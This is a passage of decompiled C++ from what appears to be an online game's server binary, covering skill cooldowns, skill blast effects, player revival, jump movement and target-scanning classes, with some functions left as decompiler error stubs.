FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillCooltimeSet"); result = 0; } else { *((_BYTE *)v1 + 7428) = v3 & 0xBF; v5 = *(_WORD *)(*((_DWORD *)v1 + 886) + 12 * *((_WORD *)v1 + 1775) + 4); while ( 1 ) { v6 = *((_WORD *)v1 + 1770); if ( v5 >= v6 ) break; v7 = *((_DWORD *)v1 + 886); v8 = v5; v9 = v5; v10 = v5 < v6; v5 = *(_WORD *)(v7 + 12 * v5 + 4); if ( v10 && *(_BYTE *)(v7 + 12 * v8 + 8) ) v11 = *(_DWORD *)(v7 + 12 * v8); else v11 = 0; v12 = *((_DWORD *)&abstateidentarray + 3 * *(_DWORD *)(v11 + 4)); if ( v9 < v6 && (v13 = v7 + 12 * v8, *(_BYTE *)(v13 + 8)) ) v14 = *(_DWORD *)v13; else v14 = 0; if ( (unsigned __int8)(*(int (__stdcall **)(int))(*(_DWORD *)v12 + 32))(v14) ) { *((_BYTE *)v1 + 7428) |= 0x40u; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillCooltimeSet"); return 0; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillCooltimeSet"); result = 1; } return result; } //----- (0054C590) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBlastOption(void *this) { void *v1; // ebp@1 unsigned __int16 v2; // bx@1 unsigned __int16 v3; // di@2 int v4; // edx@3 int v5; // eax@3 unsigned __int16 v6; // si@3 bool v7; // cf@3 int v8; // ecx@5 int v9; // ecx@7 int v10; // edx@8 int v11; // edx@9 int v12; // eax@11 int skl; // [sp+10h] [bp-14h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBlastOption"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SkillBlastOption"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; skl = 0; v2 = *(_WORD *)(*((_DWORD *)v1 + 886) + 12 * *((_WORD *)v1 + 1775) + 4); while ( 1 ) { v3 = *((_WORD *)v1 + 1770); if ( v2 >= v3 ) break; v4 = *((_DWORD *)v1 + 886); v5 = v2; v6 = v2; v7 = v2 < v3; v2 = *(_WORD *)(v4 + 12 * v2 + 4); if ( v7 && *(_BYTE *)(v4 + 12 * v5 + 8) ) v8 = *(_DWORD *)(v4 + 12 * v5); else v8 = 0; v9 = *((_DWORD *)&abstateidentarray + 3 * *(_DWORD *)(v8 + 4)); if ( v6 < v3 && (v10 = v4 + 12 * v5, *(_BYTE *)(v10 + 8)) ) v11 = *(_DWORD *)v10; else v11 = 0; v12 = (*(int (__stdcall **)(int))(*(_DWORD *)v9 + 28))(v11); if ( skl < v12 ) skl = v12; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBlastOption"); return skl; } //----- (0054C6B0) -------------------------------------------------------- #error "54C6B0: undefined or illegal type '#593' (funcsize=176)" //----- (0054C930) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(void *caster, int targetlocate, int empower) { void *v3; // esi@1 int v4; // ecx@1 char v5; // al@1 char v6; // al@3 int v7; // edx@4 int v8; // eax@9 unsigned int v9; // ecx@9 char *v10; // ecx@9 char *v11; // eax@11 int v12; // ST0C_4@11 int v13; // eax@11 unsigned __int16 v14; // ax@11 char *v15; // [sp-4h] [bp-30h]@4 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@11 int v17; // [sp+28h] [bp-4h]@1 v3 = caster; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(Loc)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(Loc)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *((_DWORD *)v3 + 1801); v5 = *(_BYTE *)(*(_DWORD *)(v4 + 4) + 188); v17 = 0; if ( v5 ) *((_BYTE *)v3 + 7428) |= 0x10u; v6 = *((_BYTE *)v3 + 7428); if ( v6 & 0x10 ) { *((_BYTE *)v3 + 7428) = v6 & 0xEF; if ( *(_BYTE *)(v4 + 436) ) { if ( *((_BYTE *)v3 + 6946) & 2 || *((_DWORD *)v3 + 59) == 3 ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 3392))(v3); LABEL_12: v15 = "ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(Loc)"; goto LABEL_13; } ShineObjectClass::ShineMobileObject::smo_ShootMeTo(v3, targetlocate); } v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1384))(v3); v9 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v9; v10 = (char *)&namestring + 256 * v9; *(_DWORD *)v10 = *(_DWORD *)v8; *((_DWORD *)v10 + 1) = *(_DWORD *)(v8 + 4); *((_DWORD *)v10 + 2) = *(_DWORD *)(v8 + 8); *((_DWORD *)v10 + 3) = *(_DWORD *)(v8 + 12); v10[16] = 0; SkillResultBuffer::bufferpoint = 0; if ( *(_BYTE *)(*((_DWORD *)v3 + 1801) + 268) ) { ShineObjectClass::ShineMobileObject::smo_HideTarget(v3); ShineObjectClass::ShineMobileObject::smo_WarpTo(v3, targetlocate, *((_DWORD *)v3 + 1801)); ShineObjectClass::ShineMobileObject::smo_SkillResultPacket(v3, *((_DWORD *)v3 + 1801), targetlocate); } v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9303; *((_WORD *)v11 + 2) = *((_WORD *)v3 + 2); *((_WORD *)v11 + 1) = *((_WORD *)v3 + 3723); *((_WORD *)v11 + 3) = *((_WORD *)v3 + 3594); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v12 = *(_DWORD *)((char *)v3 + 78); LOBYTE(v17) = 1; v13 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v3, v13, v12, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v17) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v14 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 3436))(v3); SkillEffectApply::SkillBlastEffectContainer::sbec_Store( &skilleffectapplyer, *((_WORD *)v3 + 3723), *((SkillDataBox::SkillDataIndex **)v3 + 1801), (#615 *)v3, 0, (SHINE_XY_TYPE *)targetlocate, -1, v14, 0, 1); goto LABEL_12; } v7 = *((_DWORD *)v3 + 1796); *((_BYTE *)v3 + 7428) = v6 | 0x10; *((_DWORD *)v3 + 1796) = v7 + 3; v15 = "ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(Loc)"; LABEL_13: --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v15); } // 130DC7F0: using guessed type int SkillResultBuffer__bufferpoint; //----- (0054CB50) -------------------------------------------------------- #error "54CB50: undefined or illegal type '#593' (funcsize=324)" //----- (0054CFC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ReviveNow(void *me, unsigned __int16 healrate) { void *v2; // ebp@1 char v3; // cl@1 void *v4; // edi@1 int v5; // edi@2 int v6; // esi@3 int v7; // eax@3 char *v8; // esi@3 int v9; // eax@3 int v10; // eax@5 int v11; // eax@6 int v12; // eax@6 int v13; // edx@6 signed int v14; // edi@6 int v15; // edx@6 int v16; // edx@7 int v17; // eax@7 int v18; // edx@8 unsigned int v19; // ecx@8 char *v20; // edx@8 int v21; // eax@10 _DWORD *v22; // esi@14 int v23; // eax@14 int v24; // eax@16 CT_DataState *v25; // eax@17 int v26; // ecx@18 int v27; // eax@19 int v28; // esi@21 unsigned __int8 v29; // al@21 int v30; // edi@22 int v31; // eax@22 bool v32; // sf@25 unsigned __int8 v33; // of@25 int v34; // eax@26 int v35; // ST88_4@26 int v36; // eax@26 int v37; // eax@26 int v38; // eax@26 int v39; // ecx@27 int v40; // [sp+94h] [bp-4Ch]@6 int v41; // [sp+98h] [bp-48h]@26 int v42; // [sp+9Ch] [bp-44h]@26 int v43; // [sp+A0h] [bp-40h]@26 ProtocolPacket *v44; // [sp+A4h] [bp-3Ch]@6 int v45; // [sp+A8h] [bp-38h]@3 int v46; // [sp+BCh] [bp-24h]@19 int nStateNum; // [sp+C0h] [bp-20h]@18 FunctionEntarance _; // [sp+C4h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+C8h] [bp-18h]@6 int v50; // [sp+DCh] [bp-4h]@1 int healratea; // [sp+E4h] [bp+4h]@18 v2 = me; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_ReviveNow"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ReviveNow"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ReviveNow"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; **((_BYTE **)v2 + 892) = 1; v3 = *((_BYTE *)v2 + 139547); v4 = (void *)(*((_DWORD *)v2 + 8040) + 29); v50 = 0; if ( v3 ) { memcpy(v4, (char *)v2 + 139500, 0x2Cu); v5 = (int)((char *)v4 + 44); *(_WORD *)v5 = *((_WORD *)v2 + 69772); *(_BYTE *)(v5 + 2) = *((_BYTE *)v2 + 139546); *((_BYTE *)v2 + 139547) = 0; } v6 = *(_DWORD *)v2; v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1260))(v2); (*(void (__thiscall **)(void *, unsigned int))(v6 + 1248))( v2, (unsigned int)((unsigned int)healrate * v7 * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6); v45 = (int)KingdomQuest::KQPlayerInform::kqpi_KnockDownMinus; *((_BYTE *)v2 + 7176) = 0; ShineObjectClass::ShinePlayer::sp_KQElementFunction( v2, (int (__thiscall *)(KingdomQuest::KQPlayerInform *, unsigned int))v45); v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18462; *(_DWORD *)(v8 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1252))(v2); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1256))(v2); v45 = 10; *(_DWORD *)(v8 + 6) = v9; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v45) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_ReviveNow : Packet Too Long", 10); } *(_WORD *)v8 = 18463; *((_WORD *)v8 + 1) = *((_WORD *)v2 + 2); *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1252))(v2); v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1256))(v2); v45 = 12; v44 = &gpp; *((_DWORD *)v8 + 2) = v11; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, v44, v45); v40 = *(_DWORD *)((char *)v2 + 78); LOBYTE(v50) = 1; v12 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v12, v40, 0, 0, (int)&alchat, 0, 65535); v13 = *(_DWORD *)((char *)v2 + 98); *((_BYTE *)v2 + 23352) &= 0xF7u; v14 = -1; (*(void (__thiscall **)(void *, void *, signed int, signed int, _DWORD, unsigned int, _DWORD, signed int, _DWORD, signed int))(*(_DWORD *)v2 + 1584))( v2, v2, 231, 1, unk_6BCD30, clockwatch.cw_CurrTick, 0, -1, *(_WORD *)(*(_DWORD *)(v13 + 12) + 63), 10); ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v2, 231); AbnormalStateContainer::AbstateListInObject::asl_SendAfterLogin( (AbnormalStateContainer::AbstateListInObject *)((char *)v2 + 296), (#734 *)v2); v15 = *((_DWORD *)v2 + 8040); *((_BYTE *)v2 + 7176) = 0; *((_DWORD *)v2 + 1795) = 0; v15 += 80; *(_WORD *)v15 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v15 + 2) = byte_130BDA42; if ( *((_DWORD *)v2 + 59) != 3 ) { v16 = *((_DWORD *)v2 + 58); *((_DWORD *)v2 + 59) = 0; *((_DWORD *)v2 + 65) = 0; *((_DWORD *)v2 + 66) = 0; *((_DWORD *)v2 + 67) = 0; *((_DWORD *)v2 + 68) = 0; *((_DWORD *)v2 + 69) = 0; *((_DWORD *)v2 + 60) = 0; v17 = *(_DWORD *)(v16 + 78); *((_DWORD *)v2 + 63) = *(_DWORD *)v17; *((_DWORD *)v2 + 64) = *(_DWORD *)(v17 + 4); } v18 = *(_DWORD *)v2; *((_WORD *)v2 + 97) = 0; *((_DWORD *)v2 + 1796) = 0; *((_DWORD *)v2 + 34861) = 7; *((_DWORD *)v2 + 34860) = 0; *((_DWORD *)v2 + 34903) = ShineObjectClass::ShinePlayer::sp_NoAdmin; *((_DWORD *)v2 + 1858) = -1; v19 = clockwatch.cw_CurrTick; *((_DWORD *)v2 + 16536) = clockwatch.cw_CurrTick; *((_DWORD *)v2 + 16534) = v19; *((_DWORD *)v2 + 16537) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; *((_DWORD *)v2 + 16535) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; *((_WORD *)v2 + 70193) = (*(int (__thiscall **)(void *))(v18 + 1296))(v2); *((_WORD *)v2 + 70194) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1300))(v2); v20 = gpp.pp_Buffer; *(_DWORD *)gpp.pp_Buffer = *((_DWORD *)v2 + 35096); *((_WORD *)v20 + 2) = *((_WORD *)v2 + 70194); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v21 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v21 + 12))(v21, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long", 6); } *((_BYTE *)v2 + 7428) &= 0xFDu; *((_BYTE *)v2 + 142736) = 0; *((_DWORD *)v2 + 35782) = -1; ShineObjectClass::ShinePlayer::sp_LoginInit(v2); if ( *((_BYTE *)v2 + 143272) == 1 ) (*(void (__thiscall **)(void *, void *, signed int, signed int, _DWORD, unsigned int, _DWORD, signed int, signed int, _DWORD))(*(_DWORD *)v2 + 1584))( v2, v2, 385, 1, unk_6BCF98, clockwatch.cw_CurrTick, 0, -1, 1000000000, 0); if ( (*((_BYTE *)v2 + 23372) & 0xF) == 2 ) { v22 = dword_6BD098[0]; (*(void (__thiscall **)(void *, void *, _DWORD, signed int, _DWORD *, unsigned int, _DWORD, signed int, signed int, _DWORD))(*(_DWORD *)v2 + 1584))( v2, v2, *(_DWORD *)(*dword_6BD098[0] + 34), 1, dword_6BD098[0], clockwatch.cw_CurrTick, 0, -1, 1000000000, 0); ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v2, *(_DWORD *)(*v22 + 34)); v23 = v22[11]; if ( v23 ) { (*(void (__thiscall **)(void *, _DWORD, _DWORD, signed int))(*(_DWORD *)v2 + 1004))( v2, *(_DWORD *)(*v22 + 34), *(_DWORD *)(v23 + 43), 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( v2, *(_DWORD *)(*v22 + 34), *(_DWORD *)(v22[11] + 43), 1); } } v24 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1052))(v2); if ( !v24 || (v25 = CCharacterTitleDataStateServer::GetStateData( &gCharacterTitleDataStateServer, *(_BYTE *)(v24 + 560), *(_BYTE *)(v24 + 561))) == 0 ) { LABEL_34: LOBYTE(v50) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v50 = v14; goto LABEL_33; } v26 = v25->nStateNum; nStateNum = v25->nStateNum; healratea = 0; if ( v26 > 0 ) { v27 = (int)v25->StateData; v46 = v27; while ( 1 ) { v28 = *(_DWORD *)(v27 + 4); v29 = *(_BYTE *)v27; if ( !v28 ) goto LABEL_34; v30 = v29; v31 = *(_DWORD *)(v28 + 36 * v29 + 8); if ( v31 && (unsigned __int8)(*(int (__thiscall **)(void *, void *, _DWORD, int, int, unsigned int, _DWORD, signed int, _DWORD, signed int))(*(_DWORD *)v2 + 1584))( v2, v2, *(_DWORD *)(*(_DWORD *)v28 + 34), v30, v28, clockwatch.cw_CurrTick, 0, -1, *(_DWORD *)(v31 + 43), 1) ) { ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v2, *(_DWORD *)(*(_DWORD *)v28 + 34)); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet(v2, *(_DWORD *)(*(_DWORD *)v28 + 34), -1, v30); (*(void (__thiscall **)(void *, _DWORD, signed int, signed int))(*(_DWORD *)v2 + 1004))( v2, *(_DWORD *)(*(_DWORD *)v28 + 34), -1, 1); } v27 = v46 + 12; v33 = __OFSUB__(healratea + 1, nStateNum); v32 = healratea++ + 1 - nStateNum < 0; v46 += 12; if ( !(v32 ^ v33) ) break; v14 = -1; } } v45 = 65535; v44 = 0; v40 = (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe; v34 = *(_DWORD *)((char *)v2 + 78); v41 = 0; v42 = 0; v35 = v34; v43 = 0; v36 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v36, v35, 0, 0, v40, v41, v42, v43, (int)v44, v45); v37 = *(_DWORD *)v2; v45 = 0; (*(void (__thiscall **)(void *, _DWORD))(v37 + 3460))(v2, 0); v38 = *(_DWORD *)((char *)v2 + 98); if ( v38 ) { v39 = *(_DWORD *)(v38 + 12); if ( v39 ) { if ( *(_BYTE *)(v39 + 54) == 1 && *(_DWORD *)(v38 + 60) == -1 ) ShineObjectClass::ShinePlayer::sp_2Roumen(v2); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 3176))(v2); } } LOBYTE(v50) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v50 = -1; LABEL_33: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ReviveNow"); } // 130BDA40: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 130BDA42: using guessed type char byte_130BDA42; //----- (0054D560) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_UseSkillSimple(void *this, int skillIndex, int a3, int loc) { void *v4; // esi@1 int v5; // eax@1 v4 = this; *((_BYTE *)v4 + 7428) ^= (*((_BYTE *)v4 + 7428) ^ 2 * (*(_BYTE *)(skillIndex + 356) != 0)) & 2; ShineObjectClass::ShineMobileObject::smo_SkillBash_Casting(this, skillIndex, a3, loc, -1); v5 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1320))(v4); return List::l_4AllInList( (List *)(v5 + 3240), AbnormalStateContainer::AbstateElementInObject::aeo_Attack); } //----- (0054D5C0) -------------------------------------------------------- #error "54D5C0: undefined or illegal type '#593' (funcsize=156)" //----- (0054D800) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_JumpTo(void *this, int locate, int sklidx) { int v3; // esi@1 int v5; // edi@6 int v6; // eax@6 int v7; // ecx@6 int v8; // ebp@6 int v9; // eax@6 int v10; // eax@7 int v11; // edx@9 int v12; // eax@9 char *v13; // eax@12 int v14; // edx@12 int v15; // ecx@12 int v16; // ST04_4@12 int v17; // eax@12 FunctionEntarance _; // [sp+18h] [bp-4Ch]@1 int LastLoc; // [sp+1Ch] [bp-48h]@6 int v20; // [sp+20h] [bp-44h]@6 int Goal; // [sp+24h] [bp-40h]@6 int v22; // [sp+28h] [bp-3Ch]@8 int TargetCoord; // [sp+2Ch] [bp-38h]@7 int v24; // [sp+30h] [bp-34h]@7 int From; // [sp+34h] [bp-30h]@6 int v26; // [sp+38h] [bp-2Ch]@6 AxialListPacketBroadcast alchat; // [sp+3Ch] [bp-28h]@12 char Direct; // [sp+48h] [bp-1Ch]@6 int v29; // [sp+4Ch] [bp-18h]@6 int v30; // [sp+50h] [bp-14h]@6 int v31; // [sp+60h] [bp-4h]@1 v3 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShineMobileObject::smo_JumpTo"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_JumpTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_JumpTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v31 = 0; if ( !sklidx || !*(_DWORD *)(sklidx + 4) || !*(_DWORD *)(v3 + 98) || !locate ) { v31 = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_JumpTo"); return 0; } v5 = *(_DWORD *)(v3 + 78); LastLoc = *(_DWORD *)v5; v20 = *(_DWORD *)(v5 + 4); v6 = *(_DWORD *)(v5 + 4); v7 = *(_DWORD *)(v5 + 4); From = *(_DWORD *)v5; v26 = v6; v8 = *(_DWORD *)(sklidx + 576) + (unsigned __int64)sqrt((double)(unsigned int)((From - *(_DWORD *)locate) * (From - *(_DWORD *)locate) + (v7 - *(_DWORD *)(locate + 4)) * (v7 - *(_DWORD *)(locate + 4)))); VectorClass::VectorWithLength::VectorWithLength( (VectorClass::VectorWithLength *)&Direct, (SHINE_XY_TYPE *)locate, (SHINE_XY_TYPE *)v5); LOBYTE(v31) = 1; VectorClass::VectorWithLength::vwl_Scale((VectorClass::VectorWithLength *)&Direct, v8); LastLoc += v29; v9 = *(_DWORD *)(sklidx + 576); v20 += v30; if ( !ShineObjectClass::ShineObject::so_FindBlockLocateFrom( (void *)v3, locate, (int)&LastLoc, v9, (int)&Goal, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsMoveBlock) || (v10 = *(_DWORD *)(v3 + 78), TargetCoord = *(_DWORD *)v10, v24 = *(_DWORD *)(v10 + 4), ShineObjectClass::ShineObject::so_FindBlockLocate( (void *)v3, (int)&Goal, v8, (int)&TargetCoord, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsAttackBlock), Goal != TargetCoord) || v22 != v24 ) goto LABEL_11; v11 = *(_DWORD *)v3; *(_DWORD *)(v3 + 236) = 0; (*(void (__thiscall **)(int))(v11 + 2644))(v3); (*(void (__thiscall **)(int, signed int, _DWORD, signed int))(*(_DWORD *)v3 + 828))(v3, 2, 0, 3); v12 = *(_DWORD *)(v3 + 78); *(_DWORD *)v12 = Goal; *(_DWORD *)(v12 + 4) = v22; if ( FieldMap::fm_Marking(*(#593 **)(v3 + 98), v3, 0, 0) ) { (*(void (__thiscall **)(int, signed int, _DWORD, _DWORD))(*(_DWORD *)v3 + 1520))(v3, 1669, 0, 0); LABEL_11: v31 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } v13 = gpp.pp_Buffer; v14 = From; *(_WORD *)gpp.pp_Buffer = 18477; *((_WORD *)v13 + 1) = *(_WORD *)(v3 + 4); *((_DWORD *)v13 + 2) = v26; *((_DWORD *)v13 + 1) = v14; v15 = *(_DWORD *)(v3 + 78); *((_DWORD *)v13 + 3) = *(_DWORD *)v15; *((_DWORD *)v13 + 4) = *(_DWORD *)(v15 + 4); v13[20] = **(_BYTE **)(v3 + 82); *(_WORD *)(v13 + 21) = **(_WORD **)(sklidx + 4); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 23); v16 = *(_DWORD *)(v3 + 78); LOBYTE(v31) = 2; v17 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v3, v17, v16, 0, 0, (int)&alchat, 1, 65535); MoveManager::mm_Halt((MoveManager *)(v3 + 232)); LOBYTE(v31) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v31 = -1; FunctionEntarance::_FunctionEntarance(&_); return 1; } //----- (0054DAE0) -------------------------------------------------------- #593 *__thiscall AxialListScanSkillTarget::alsst_GetRandomTarget(AxialListScanSkillTarget *this, int nIndex) { char *v2; // eax@3 unsigned int v3; // ecx@3 char *v4; // edx@3 unsigned int v5; // eax@3 int v6; // ecx@3 unsigned int v7; // esi@3 #593 *result; // eax@5 if ( nIndex < 0 || nIndex >= (signed int)this->alsst_RandomTargetList._Mysize ) { result = 0; } else { v2 = (char *)&this->alsst_RandomTargetList; v3 = nIndex + this->alsst_RandomTargetList._Myoff; v4 = v2; v5 = v3 >> 2; v6 = v3 - 4 * (v3 >> 2); v7 = *((_DWORD *)v4 + 2); if ( v7 <= v5 ) v5 -= v7; result = *(#593 **)(*(_DWORD *)(*((_DWORD *)v4 + 1) + 4 * v5) + 4 * v6); } return result; } //----- (0054DB30) -------------------------------------------------------- void __thiscall AxialListNearScanSkillEnemy::AxialListNearScanSkillEnemy(AxialListNearScanSkillEnemy *this) { AxialListNearScanSkillEnemy *v1; // esi@1 v1 = this; AxialListLimitAreaScan::AxialListLimitAreaScan(&this->baseclass_0.baseclass_0); v1->baseclass_0.alsst_RandomTargetList._Map = 0; v1->baseclass_0.alsst_RandomTargetList._Mapsize = 0; v1->baseclass_0.alsst_RandomTargetList._Myoff = 0; v1->baseclass_0.alsst_RandomTargetList._Mysize = 0; v1->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanSkillEnemy::_vftable_; } // 672A74: using guessed type int (__thiscall *AxialListNearScanSkillEnemy___vftable_)(AxialListNearScan *this, #593 *, int nRelocation_Y, int nRelocation_X); //----- (0054DB60) -------------------------------------------------------- void __thiscall AxialListNearScanSkillParty::_AxialListNearScanSkillParty(AxialListNearScanSkillFriend *this) { AxialListNearScanObjectType *v1; // esi@1 v1 = (AxialListNearScanObjectType *)this; this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListLimitAreaScan::_vftable_; std::deque>::_Tidy((std::deque > *)&this->baseclass_0.alsst_RandomTargetList); AxialListNearScanObjectType::_AxialListNearScanObjectType(v1); } // 672A6C: using guessed type int (__thiscall *AxialListLimitAreaScan___vftable_)(AxialListNearScan *this, #593 *, int nRelocation_Y, int nRelocation_X); //----- (0054DB80) -------------------------------------------------------- void __thiscall AxialListNearScanSkillParty::AxialListNearScanSkillParty(AxialListNearScanSkillParty *this) { AxialListNearScanSkillParty *v1; // esi@1 v1 = this; AxialListLimitAreaScan::AxialListLimitAreaScan(&this->baseclass_0.baseclass_0); v1->baseclass_0.alsst_RandomTargetList._Map = 0; v1->baseclass_0.alsst_RandomTargetList._Mapsize = 0; v1->baseclass_0.alsst_RandomTargetList._Myoff = 0; v1->baseclass_0.alsst_RandomTargetList._Mysize = 0; v1->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanSkillParty::_vftable_; } // 672A7C: using guessed type int (__thiscall *AxialListNearScanSkillParty___vftable_)(AxialListNearScan *this, #593 *, int nRelocation_Y, int nRelocation_X); //----- (0054DBB0) -------------------------------------------------------- void __thiscall AxialListNearScanSkillFriend::AxialListNearScanSkillFriend(AxialListNearScanSkillFriend *this) { AxialListNearScanSkillFriend *v1; // esi@1 v1 = this; AxialListLimitAreaScan::AxialListLimitAreaScan(&this->baseclass_0.baseclass_0); v1->baseclass_0.alsst_RandomTargetList._Map = 0; v1->baseclass_0.alsst_RandomTargetList._Mapsize = 0; v1->baseclass_0.alsst_RandomTargetList._Myoff = 0; v1->baseclass_0.alsst_RandomTargetList._Mysize = 0; v1->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanSkillFriend::_vftable_; } // 672A84: using guessed type int (__thiscall *AxialListNearScanSkillFriend___vftable_)(AxialListNearScan *this, #593 *, int nRelocation_Y, int nRelocation_X); //----- (0054DBE0) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_UnLearn(CharaterSkillList *this, std::vector >::iterator skill) { CharaterSkillList *v2; // esi@1 std::vector >::iterator v3; // ecx@1 std::vector >::iterator v4; // edi@2 std::vector >::iterator v5; // edi@3 int v6; // eax@4 CharaterSkillList::CharSkill compare; // [sp+10h] [bp-20h]@3 int v8; // [sp+2Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_UnLearn"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_UnLearn"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (std::vector 